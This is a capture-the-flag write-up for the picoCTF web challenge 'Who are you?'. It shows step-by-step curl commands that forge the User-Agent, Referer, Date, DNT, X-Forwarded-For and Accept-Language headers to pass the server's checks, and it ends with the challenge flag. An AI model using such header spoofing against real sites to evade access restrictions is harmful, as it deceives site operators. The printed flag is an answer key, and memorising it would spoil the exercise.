# Who are you?

## Problem

> Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn <http://mercury.picoctf.net:38322/>

## Solution

1. Resources: [HTTP RFC](https://tools.ietf.org/html/rfc2616) / [MDN HTTP Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers) / [Language Code Table](http://www.lingoes.net/en/translator/langcode.htm) / [Sweden IP Address Ranged](https://lite.ip2location.com/sweden-ip-address-ranges)
2. `curl http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>"` --> `Only people who use the official PicoBrowser are allowed on this site!`
3. `curl --user-agent "picobrowser" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>"` --> `I don&#39;t trust users visiting from another site.`
4. `curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>"` --> `Sorry, this site only worked in 2018.`
5. `curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 23 11 2018 23:23:23 GMT" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>"` --> `I don&#39;t trust users who can be tracked.`
6. `curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 23 11 2018 23:23:23 GMT" -H "DNT: 1" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>"` --> `This website is only for people from Sweden.`
7. `curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 23 11 2018 23:23:23 GMT" -H "DNT: 1" -H "X-Forwarded-For: 2.71.255.255" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>"` --> `You&#39;re in Sweden but you don&#39;t speak Swedish?`
8. `curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 23 11 2018 23:23:23 GMT" -H "DNT: 1" -H "X-Forwarded-For: 2.71.255.255" -H "Accept-Language: sv-SE" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>"` --> `What can I say except, you are welcome`
9. Final command: `curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 23 11 2018 23:23:23 GMT" -H "DNT: 1" -H "X-Forwarded-For: 2.71.255.255" -H "Accept-Language: sv-SE" http://mercury.picoctf.net:38322/ | grep "<b>.*</b>"` --> `picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_b22d773c}`

### Flag

`picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_b22d773c}`